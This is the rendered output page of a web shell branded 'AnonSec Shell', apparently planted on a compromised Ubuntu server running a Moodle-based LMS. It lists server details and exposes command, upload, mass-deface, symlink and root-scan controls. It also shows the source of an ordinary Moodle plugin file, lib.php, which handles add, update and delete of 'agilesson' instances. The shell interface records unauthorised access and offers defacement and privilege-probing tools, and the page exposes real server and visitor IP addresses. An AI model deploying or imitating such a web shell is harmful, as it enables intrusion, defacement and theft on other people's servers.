AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.54   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/9427/cwd/avanza-lms.old.bak9874115/mod/agilesson/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/9427/cwd/avanza-lms.old.bak9874115/mod/agilesson/lib.php
<?php
defined('MOODLE_INTERNAL') || die();

function agilesson_supports($feature) {
	switch($feature) {
		case FEATURE_IDNUMBER:					return false;
        case FEATURE_GROUPS:					return false;
        case FEATURE_GROUPINGS:					return false;
        case FEATURE_GROUPMEMBERSONLY:			return false;
        case FEATURE_MOD_INTRO:					return true;
        case FEATURE_COMPLETION_TRACKS_VIEWS:	return false;
        case FEATURE_GRADE_HAS_GRADE:			return false;
        case FEATURE_GRADE_OUTCOMES:			return false;
		case FEATURE_MOD_ARCHETYPE:				return MOD_ARCHETYPE_RESOURCE;
		case FEATURE_BACKUP_MOODLE2:			return true;
		case FEATURE_NO_VIEW_LINK:				return true;
		
        default: 								return null;
    }
}

function agilesson_add_instance($agilesson){
	global $CFG, $DB;
	
	require_once($CFG->dirroot.'/mod/agilesson/locallib.php');

	$sia = new sia_agilesson();
	$path = $sia->get_path_sia($agilesson->modulename);
	
	//var_dump($agilesson);
	//exit();
	
	$agilesson_data = new stdClass();
	$presentation_data = new stdClass();
	$contents_data = new stdClass();
	$activities_data = new stdClass();
	$modules_data = new stdClass();

	if($path->status == 1){
        $agilesson_data = order_agilesson_data($agilesson);
		$id = $DB->insert_record('agilesson', $agilesson_data);
        if($id){
            $presentation_data = order_presentation_data($agilesson, $id);
			$contents_data = order_content_data($agilesson, $id);
			$activities_data = order_activity_data($agilesson, $id);
			$modules_data = order_modules_data($agilesson, $id);

			insert_record_agilesson('agilesson_presentation', $presentation_data);
			insert_records_agilesson('agilesson_content', $contents_data);
			insert_records_agilesson('agilesson_activity', $activities_data);
			insert_records_agilesson('agilesson_modules', $modules_data);

            return $id;
        }
        else{
            return false;
        }
    }
    else{
		$agilesson_data = order_agilesson_data($agilesson);
        $agilesson_data['name'] = "Error - ".$path->msn;
		
		$id = $DB->insert_record('agilesson', $agilesson_data);
		
		$presentation_data = order_presentation_data($agilesson, $id);
		//$presentation_data['presentation_url'] = "";		
		insert_record_agilesson('agilesson_presentation', $presentation_data);
		
        return $id;
    }
	
}


function agilesson_update_instance($agilesson){
	global $CFG, $DB;
	
	require_once($CFG->dirroot.'/mod/agilesson/locallib.php');
	
	$agilesson_data = new stdClass();
	$presentation_data = new stdClass();
	$contents_data = new stdClass();
	$activities_data = new stdClass();
	$modules_data = new stdClass();
	
	$id = $agilesson->instance;
	$agilesson_data = order_agilesson_data($agilesson, $id);
	$DB->update_record('agilesson', $agilesson_data);

	$presentations = $DB->get_record('agilesson_presentation', ["id_agilesson"=>$id], 'id', 'id');
	$contents = $DB->get_records('agilesson_content', ["id_agilesson"=>$id], 'id', 'id');
	$activities = $DB->get_records('agilesson_activity', ["id_agilesson"=>$id], 'id', 'id');
	
	$presentation_data = order_presentation_data($agilesson, $id, $presentations);
	$DB->update_record('agilesson_presentation', $presentation_data);

	
	$contents_data = order_content_data($agilesson, $id, $contents, true);
	$activities_data = order_activity_data($agilesson, $id, $activities, true);

	$modules_data = order_modules_data($agilesson, $id, true);
	insert_records_agilesson('agilesson_modules', $modules_data);
	
	update_records_agilesson('agilesson_content', $contents_data);
	update_records_agilesson('agilesson_activity', $activities_data);



	return true;
}


function agilesson_delete_instance($id){
	global $DB;

    if (!$agilesson = $DB->get_record('agilesson', array('id'=>$id))) {
        return false;
    }

    // Nota: todos los archivos de contexto son eliminados automaticamente.

    $DB->delete_records('agilesson_modules', array('id_agilesson'=>$agilesson->id));
    $DB->delete_records('agilesson', array('id'=>$agilesson->id));
    $DB->delete_records('agilesson_presentation', array('id_agilesson'=>$agilesson->id));
	$DB->delete_records('agilesson_activity', array('id_agilesson'=>$agilesson->id));
    $DB->delete_records('agilesson_content', array('id_agilesson'=>$agilesson->id));

    return true;
}




/**
 * Given a course_module object, this function returns any
 * "extra" information that may be needed when printing
 * this activity in a course listing.
 * See get_array_of_activities() in course/lib.php
 *
 * @global object
 * @param object $coursemodule
 * @return cached_cm_info|null
 */

function agilesson_get_coursemodule_info($coursemodule){
	global $PAGE;
	if( $coursemodule->deletioninprogress==0){
		$output = $PAGE->get_renderer('mod_agilesson');
		$view = new \mod_agilesson\output\agileview($coursemodule->instance);
		$info = new cached_cm_info();
		$info->content = $output->render($view);
		return $info;
	}else{
		$info = new cached_cm_info();
		return $info;
	}
}

Anon7 - 2022
AnonSec Team